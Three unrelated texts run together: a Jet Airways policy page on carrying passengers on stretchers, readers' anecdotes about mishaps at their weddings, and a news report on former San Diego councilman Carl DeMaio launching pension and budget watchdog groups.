Jet Airways currently accepts guests travelling on a stretcher on 9W operated flights only, within India, the Gulf* and SAARC* routes operated with the aircraft type Boeing 737.
Effective Aug 1, 2018, Jet Airways will also accept guests travelling on a stretcher on 9W operated flights only, between Mumbai / Delhi and the Gulf / ASEAN* routes operated with the aircraft type Boeing 777 and Airbus A330.
Effective Oct 1, 2018, Jet Airways will accept guests travelling on a stretcher on all 9W operated flights except flights to/from Toronto operated on the Boeing 777 and Airbus A330.
Travel on a stretcher is subject to prior approval.
Cases requiring uplift of additional oxygen cylinders should submit the duly filled MEDIF form at least 48 hours in advance, so that the necessary arrangements can be made. Only one stretcher case per aircraft will be permitted in Economy.
Six times the highest basic one-way adult Economy fare plus one time charge of all applicable taxes, surcharges and fees for the guest travelling on the stretcher.
The checked baggage allowance for a stretcher guest is the applicable baggage allowance for 6 seats (example: 6 X Standard Free Baggage Allowance).
The checked baggage allowance for the accompanying guests is as per the standard baggage policy.
Baggage allowances using the weight concept need to be manually entered on the ticket.
However, each guest will be allowed to carry only the single entitlement of hand baggage and personal articles.
MEDIF clearance for all stretcher cases will be done by the Medical Department of Jet Airways at Mumbai / Delhi / Kolkata / Chennai.
No medical support will be provided by Jet Airways. Guests travelling on a stretcher must be accompanied by a qualified medical escort i.e. a doctor (minimum Indian degree equivalent MBBS or US degree equivalent MD). A suitably qualified registered nurse or non-medical escort may be permitted in rare cases, solely at the discretion of medical department.
On Wide-body Aircraft type, in stretcher cases, the medical escort shall be seated on an aisle seat across the aisle of the stretcher but in the same row as head / face of the patient is positioned. Stretchers with critically ill patients may not be permitted to travel on Widebody A/C due to the prevailing seating arrangements of the doctor (across the aisle).
In Wide body aircrafts, stretcher patients who are unable to self-wear the emergency drop down oxygen mask in case of sudden decompression will not be cleared for travel.
A fresh MEDIF form on the day of travel may be asked for in select cases. If the guest's medical condition has deteriorated at the time of departure, permission to fly may be refused. In all cases, the decision of the Jet Airway's medical department regarding the fitness of guest to fly and the type of escort required will be final.
The MEDIF Form should be complete, accurately and legibly filled by the patient's treating doctor and emailed to the appropriate Jet Airways Medical Department at least 48 hours prior to the flight. All medical details asked for must be completed. The guest must produce a certificate from his / her treating doctor certifying that he is fit to travel by air and is free from any contagious disease as well as a detailed medical report from the treating doctor. These documents should be also emailed to the Medical Department for approval.
Jet Airways doctor on duty will certify that the guest is fit to travel and email the MEDIF form back to the departure station.
On the day of travel a fresh MEDIF form may be asked for in certain cases. If the guest's medical status is noted to have deteriorated, as compared to the details provided in the MEDIF form, permission to fly may be refused.
Reporting time - 1 hour prior to departure of the flight.
Relatives and guest must also request their treating physicians to refer to the 'GUIDELINES' printed on the MEDIF Form. Kindly note the following:
Currently our stretchers are capable of carrying patients weighing less than 136 kgs. Guests weighing more than 136 kgs, will be unable to avail of the stretcher service while travelling on our flights.
Cabin Staff are trained in first aid only and are not expected to render special nursing care to critically ill cases. Cabin crew is not permitted to administer injections or open physician kits, which contain life saving drugs and equipment's. These kits can be opened only under instructions of Registered Medical Practitioners.
Guest needs to liaise with respective Airport Manager for ambulift facilities well in advance.
Ground and Transit oxygen arrangements are to be made by the guest in conjunction with the Airport manager or ground staff in liaison with AAI or the local airport governing authority.
The attendant should ensure that all items / medical equipment brought on the aircraft by the patient (needles, syringes, unused medications.) are removed at the time the patient is disembarked from the aircraft.
Jet Airways would be responsible only for the transport of the guest by air from one sector to another. Arrangements for and cost of all equipment / medications / accompanying medical escorts / ambulift facility, urine bags, diapers etc would have to be borne by the guest.
Only one stretcher case per aircraft will be permitted.
Stretcher cases will be accepted on all non-stop, direct and connecting flights provided all the flights involved are in the same ticket and are operated by 9W.
Interline travel is not permitted on any other carrier.
The distance between the cabin overhead panel and stretcher top cushion is 2 feet and the height of the stretcher from the floor is 3.39 feet.
The stretcher is installed as per the manufacturers' recommendations and we regret that individual requests for any alteration in installation cannot be met.
JPMiles for only one seat will be credited for the guest using stretcher, as per the booked class of travel within India and Gulf* flights.
Carriage of Life Saving and other medical equipment on Board will be permitted only after getting clearances from Engineering, Security Departments.
Manufacturers' technical details regarding equipment, safety precautions if any, procurement source, manufacturers contact details etc should be submitted at least 72 hours prior to flight.
All equipment on board must be secure.
The Treating Physician should give a certificate stating that:
All equipment's are battery operated (dry, non-spillable, sealed batteries only).
The battery does not need to be recharged in-flight (no recharging facilities are available onboard)
The equipment is life-saving and will be required in-flight.
It will not emit any electromagnetic radiation which could interfere with the communication / navigation of the aircraft or aircraft equipment.
There is an adequate supply of fully charged batteries, i.e., sufficient for 150% of maximum expected flight duration. Additional batteries must be packed as per IATA DGR.
SAARC includes Bangladesh, Nepal, and Sri Lanka.
ASEAN includes Bangkok, Hong Kong, and Singapore.
Gulf region includes Bahrain, Kuwait, Oman, Qatar, Saudi Arabia and United Arab Emirates.


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Two Brides and Grooms Meant Double Trouble
In 1950, my sister, Ethel, and I both were planning to get married that summer, so we talked it over and decided to have a double wedding ceremony.
Ethel was busy finishing college, so I bought white satin material and made our wedding gowns. Papa rented a church campground for the week of the wedding, and declared the gathering a family reunion as well.
Ethel and I, along with our soon-to-be husbands, went to the courthouse to pick up our marriage licenses. The next day, our wedding day, we learned that we should have gotten the licenses at the courthouse in the county where we were getting married. We asked my brother, who was officiating the ceremony, what to do, and he assured us that as long as he signed the licenses, it would be legal.
That evening, our father escorted us, one on each arm, around the hill at the campground, and delivered us to our grooms. Mixed in with the violin music were the sounds of turkey gobbles, locusts singing, and frogs croaking.
We said our vows under an elm tree, then had cake and punch. Later, both newlywed couples headed to our cars to leave and discovered that our brothers had chained the back wheels of the cars together. A friend told Cecil and me to hop into her car, so we did, leaving Ethel and Ralph to figure out their own escape plan.
The next morning, my friend picked us up and took us back to our car. As we approached the camp, we spotted our car parked in a cornfield. What a family!
Eva – Portland, Oregon
Unusual Honeymoon Departure
Even though it's been a couple decades since my sister-in-law was married, our family still laughs about the bride and groom's departure for their honeymoon.
The couple didn't have enough money for a real honeymoon, but Grandma and Grandpa managed a motel in a nearby city and offered the newlyweds a free night's stay. However, there was a catch: Since Grandma didn't drive, and Grandpa had to work at the motel and wouldn't be at the wedding, Grandma would need a ride home.
So, after the wedding and reception, the bride and groom – and Grandma – piled into the couple's car and headed for the motel.
With "Just Married" written on the back window and cans tied to the rear bumper of the car, Grandma thoroughly enjoyed her noisy ride out of town from the backseat of the newlyweds' car.
To bystanders, it looked as though the newlyweds were taking a chaperone with them as they began their new life together.John – Cibolo, Texas
Ceremony Had Chemistry
Who would have imagined a box of baking soda would play such a prominent role in my daughter's wedding last fall?
The bride and groom, both PhD chemists, wanted to weave chemistry into their wedding, so they decided to substitute a chemical reaction ceremony for the traditional unity candle.
The plan was to have two different colorless solutions in beakers on a table. At the appropriate time, the bride and groom would simultaneously pour their solutions into one large glass container. The mixture would turn pink, signifying two individuals joining as one.
A trial run of this procedure had fallen to the bottom of the to-do list, so, shortly before the wedding, the groom and some friends conducted a test. The liquid did not turn pink. Several repeated attempts failed, and anxiety mounted as the ceremony quickly approached.
Finally, the groom took the problem to the bride, and, after some brainstorming, a decision was made. If they poured vinegar from one beaker and a mixture of baking soda and water from the other beaker, bubbles would be produced. It wouldn't be the pink transformation they'd intended, but the two mixtures would successfully create an immediate, observable change.
While vinegar was easy to find, baking soda was not. So, a groomsman was dispatched to a nearby drugstore, where he was dismayed to see a large number of people in the checkout line.
In desperation, he pleaded, explaining that he needed to get his purchase to a wedding that started in five minutes. Sympathetic to his dilemma, everyone let him cut in line. After quickly paying the clerk, the groomsman grabbed the box of baking soda and ran, leaving behind a long line of puzzled customers.
When the groomsman returned, a quick chemistry test was held, then the wedding officially began.
Before the chemical reaction unity ceremony began, the bride and groom smiled and donned their safety glasses. Each then poured the chemical from their individual beaker into a unity glass container, and made bubbles.Mary – Iowa City, Iowa
Bride Fell For Her Groom
Young but very much in love, my cousin, Juergen, and his girlfriend, Minna, decided in 1959 to get married.
In Germany, where they lived, a church wedding alone is not considered legal. Couples have to be married by a justice of the peace as well. So, dressed in their wedding finery, Juergen and Minna made the trip in a chauffeur-driven car, with their witnesses following in a separate car.
In front of the building where the justice of the peace was located, Juergen got out and turned to help his bride. Minna was in a hurry, and as she stepped out of the car, she caught her heel on something and landed on her backside, her feet straight up in the air.
The couple did get married – by a justice of the peace and later in a church. The bad beginning to their first marriage made no difference, as they're still happily married.Ursula – Coffeyville, Kansas
Groom's Mom Lost 'Lid'
Our wedding day 53 years ago was hot and windy. After the ceremony, my bridesmaids hovered close to me to protect my dress and veil as we walked to the reception.
My husband's mother was walking behind us, and the wind blew her hat off, carrying it down the street. My husband retrieved it, handed it back to her, and asked if she was OK. She glibly replied, "I'm fine. I just lost my lid, not my head."
My husband often quoted that line through the years when faced with an unpleasant situation.
A more precious moment from our wedding day was memorialized when the photographer took our picture as we sat in the Edsel loaned to us by the Ford Motor Co., with which my husband was associated.
Thirty years later, one of our sons had that photo enlarged and framed for us. It sits front and center on top of my piano.
Although the Edsel would soon be considered a failure, that car holds precious memories for my husband and me. Last year, our youngest son and his bride asked their wedding photographer to take a similar picture of them as they were about to leave the church in their car – a limousine. Oh, how times have changed!Mary Ann – Salina, Kansas
Ring Bearer Suffered Stage Fright
When my grandson, Bryan, was 5, my daughter asked him to be the ring bearer at her wedding. At the rehearsal, Bryan played his part perfectly. The next day, however, was a different story.
All dressed up in his new suit and carrying the pillow with the ring on it, Bryan took his place to walk down the aisle. When the music started and everyone turned toward the back of the church, Bryan felt all those eyes staring at him, and he froze. He couldn't move. The flower girl reached out and took his hand, while the wedding coordinator and the usher urged him forward.
The bride and her father waited impatiently while a high school quartet played "Pachelbel's Canon" several times over. After the fourth rendition, the father of the bride walked over, picked up Bryan and carried him to his place at the front of the church. The flower girl walked down the aisle alone, scattering her flower petals.
Twenty years later, I met a woman in a writer's class who wrote about her experiences as a wedding coordinator. I remembered the photograph (at right) from my daughter's wedding, and sure enough, the woman in the writer's group was the same woman who had coordinated my daughter's wedding in 1984.Anne – Sylvania, Ohio
Flower Girl Improvised
When my grandson married last summer, his 3-year-old niece was the flower girl. She took her role seriously, practicing with a basket of rose petals at home until she had it perfected.
On the day of the wedding, the flower girl was paired with a 6-year-old ring bearer. As they started down the aisle, he reached out and took her hand. Immediately, a look of panic came over her face.
She looked at her captured hand, then at her basket of rose petals. Apparently a quick thinker, she tucked the basket handle under her chin and proceeded to scatter the petals with her other hand.Clara – Parkersburg, Iowa
Best Man Didn't Show
My wedding day, June 15, 1957, definitely didn't start out well.
The first problem, but not the biggest, was that it was raining. Luckily, the sun eventually came out.
The major problem was that, although my husband didn't have a bachelor party, his best man did – and ended up in jail! Fortunately for us, my brother-in-law was there and stepped in.
Another minor wedding day glitch, although I didn't even notice it until our photographs were developed, was that my sisters forgot to place the flowers around the cake at the reception.
That little flower glitch didn't bother my new husband or me, nor does it bother us 54 years later.Neoma – Walker, Missouri
Sniffling Bride Had Jitters
It was 10 below zero on January 23, 1972, when my husband and I were wed in Duluth, Minnesota.
Despite my efforts to get rid of my cold before our big day, my nose dripped all through the ceremony.
I carried a tissue with me on my walk down the aisle. In fact, I had a tissue tucked into my hand in every photograph taken that day.
Wedding jitters hit me at the altar, and without thinking I held out my right hand for the ring. Not wanting to draw attention to my mistake, my husband went ahead and put the ring on the wrong hand. Luckily, we remembered to correct it before any photographs were taken.Mary – Abilene, Texas
Stranger Surprised Bride
My husband and I were both still teen-agers when we married June 27, 1959. Our small but beautiful wedding was held on an Air Force base.
The military chapel was a small white building with a steeple perched above the front entrance, which faced the western sunset. During the ceremony, the church door was left open, allowing the evening sun to stream into the chapel.
After the ceremony, an outdoor reception was held for us in my parents' backyard.
The best man drove us from the church to the reception, and as I exited the rear seat of the car, a vehicle pulled up behind us and stopped. The driver – a complete stranger to us – got out of his car, rushed over and grabbed me, spun me around, and planted a big kiss on my lips.
Then he explained that whenever he saw a bride, he always stopped to steal a kiss. The stranger then ran back to his car, jumped in it and drove away.
It all happened so quickly that the best man, my new husband and I were too stunned to respond.
Looking back, that stranger's unceremonious stolen kiss must have brought this bride and groom good luck. We will soon be celebrating 52 years of marriage.Kathy – Schertz, Texas
Wedding Day Was Hectic
In the 1940s, when Bob and I decided to get married, we were poor enough that there was no hope of a big wedding. So, instead, we drove to St. Charles, Missouri, and applied for a marriage license.
We were told we had to have a blood test, and it would be a week for the results to come back, and then we would be issued a license. So we had the blood test done.
While we waited for the test results and our marriage license, we went shopping for a wedding ring. I chose a simple gold band, which cost $12. Bob asked if I was sure I didn't want something more expensive, and I said, "No. I like this one."
A week later, we were back in St. Charles at the doctor's office, where we received our test results and our marriage license.
We left there, and on our way to the church, we had car problems. We pulled over, and Bob got out and opened the hood. While fixing a belt that was stuck, Bob cut his finger pretty good, so we turned the car around and headed back to the doctor's office with Bob holding his hand out the window so he didn't get blood on his clothes.
When we got there, the waiting room was full. Seeing us and learning of our situation, the doctor said, "I'm going to take care of this young man first. He is trying to get married today."
Now, when I look down at my simple $12 wedding band, I remember our happy life together. Bob and I raised two wonderful sons and enjoyed 38 years of marriage.Fay – Lawndale, Illinois
Summer Ceremony Was Hot
August 5, 1951, was the hottest day ever, or so it seemed to everyone who attended our wedding.
It was an evening wedding, back before air conditioning, and fans were set up near the front of the church for the minister and the wedding party, but it was still hot.
When we turned to face our guests after the ceremony, we saw them waving cardboard fans back and forth in an effort to cool themselves. Proceeding down the aisle, I saw that many of the candles had been extinguished because the heat had made them melt and lean, causing a fire hazard.
At the reception in the fellowship hall, the topper on our cake was leaning forward and looked like it was about to fall. As we opened our gifts, I could feel the sweat running down my back. I was sure the hairstyle I had spent so much time getting just right was quickly resembling a wet mop.
I'm sure our guests don't remember the beautiful baskets of gladiolus adorning the church sanctuary, the yellow rose corsage atop my Bible, or the beautiful cake, but instead remember how good the iced tea and water tasted on that hot August day when my husband and I were married.Norma – Albion, Nebraska
Vows Briefly Put On Hold
When we met, Orv was a 45-year-old confirmed bachelor, and I was a divorced 35-year-old with two children. I was re-engaging in a teaching career, and Orv sold securities.
One evening, Orv's boss asked him to call on my next-door neighbor, and, as fate would have it, he knocked on my door instead. We struck up a conversation about investments, and a week later he took me to a company shareholders meeting.
We started spending time together, talking and sharing our problems. Orv had recently broken up with a woman he had hoped to marry, and I, of course, was divorced, so we shared a few common miseries. After some time, we stopped talking about the past and began making plans for the future. We decided to get married, and we set the date for the following June.
Orv had been part of the occupation forces following World War II, and during that time, he had sent home many souvenirs, including white silk to be used for making a wedding dress should he ever find the right woman – so perhaps he was not such a confirmed bachelor after all.
After sitting in a drawer for nearly 25 years, the white silk was put to good use. I made a rather simple dress, partially covered with lavender lace.
Since I had passed the age, in my opinion, of needing to be given away, Orv and I chose to walk down the aisle together. There were a few minor glitches the day of our wedding, but nothing major. In fact, everything was going well, when suddenly an approaching roar interrupted the ceremony. It built to an ear-splitting crescendo before fading away.
It seemed an Air Force pilot, who had once lived in Hartley, had chosen that quiet afternoon to buzz over the town as he passed from one base to another.
When the sound died down, we proceeded. We made our vows to one another, and we were pronounced husband and wife. That was nearly 41 years ago.Betty – Hartley, Iowa


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Former City Councilman Carl DeMaio, who lost a bid for San Diego mayor in November, is going back to his roots as a government watchdog by taking a lead role in two new ventures that will focus on pension and budget issues at the state and local level.
In San Diego, DeMaio is recasting the political action committee he's operated since 2003 as Reform San Diego, a research and advocacy group that will focus on implementing voter-mandated pension changes and resurrect the San Diego Citizens Budget Project. The latter is an effort DeMaio began in the early 2000s to scour the city budget and departments looking for cost savings and inefficiencies.
At the state level, DeMaio is partnering again with the Reason Foundation, a libertarian think tank that favors privatization, on a project called the California Reform Council. As chairman, he plans to promote ways to balance the state budget without tax increases with the top priority of pushing for pension changes statewide.
There had been much speculation about DeMaio's future following his Nov. 6 loss to Democrat Bob Filner in the mayor's race. Before he ran successfully for City Council in 2008, DeMaio, 38, sold two companies that advocated for performance-based budgeting in the public and private sectors and pocketed $2.5 million from the deal. Would he reboot his business career or remain active in politics? The answer turns out to be both.
DeMaio said he plans to move forward on a couple unspecified business opportunities, but he expects the lion's share of his time will be consumed by his new watchdog work.
"My commitment to reforms has not changed, has not wavered, so the two projects I'm going to be involved in will allow me to advance those reforms, just from a different position on the outside of government rather than the inside," he said. "Which is a return of sorts to where I was as a taxpayer watchdog … prior to going into politics."
Carl Luna, a political-science professor at Mesa College, said he's not surprised by the path chosen by the financially independent DeMaio.
"Carl DeMaio came out of the land of think tanks and he's going back to the land of think tanks," Luna said. "I was wondering what he would be looking to do. He has some independent means so he can go back into the nonprofit world and the think tank world and the advocacy world and set himself up as a something of a local Grover Norquist."
Norquist, a fiscal conservative, is famous for getting politicians, mostly Republicans, to sign pledges declaring their opposition to any and all tax increases.
In the past, DeMaio has led coalitions that won voter approval for initiatives that forced the city to put certain services up for competitive bid with the private sector and replaced pensions with 401(k)s for most new city hires. He also led the successful fight against a proposed hike in the city's sales tax in 2010.
His new role with Reform San Diego will likely provide him a venue to challenge the policies and budget decisions of Filner, but DeMaio said he doesn't see himself antagonizing the new mayor.
"I've been fighting to turn our city around far before Bob Filner decided to run for mayor so these issues are very important to me," he said. "I care a lot about making sure we get pension reform done. You don't walk away from something that you know is important and Reform San Diego provides a vehicle for me and others to continue to advocate for fiscal responsibility at City Hall."
Filner didn't respond to a request for comment on DeMaio's new ventures.
DeMaio said he wouldn't be paid for his work with Reform San Diego although the PAC would need to raise several hundred thousand dollars to pay for research and hold town halls on various subjects. By working as a volunteer, DeMaio avoids running afoul of lobbying restrictions for the city's former elected officials, who can't be paid by private groups to lobby city officials during their first year out of office.
DeMaio said he'll receive a stipend from the Reason Foundation for his state work, but it likely wouldn't cover much more than his expenses and the sum had yet to be determined.
And what if current city leaders don't care for what he has to say?
"It also can sponsor ballot measure campaigns," DeMaio said of Reform San Diego. "If the mayor and the council decide not to reform and instead try to raise taxes, certainly this is an immediate campaign vehicle ready to present the alternative."
DeMaio kicks off his new career Tuesday when he gives a speech at the American Enterprise Institute in Washington, D.C. The topic? Pension reform.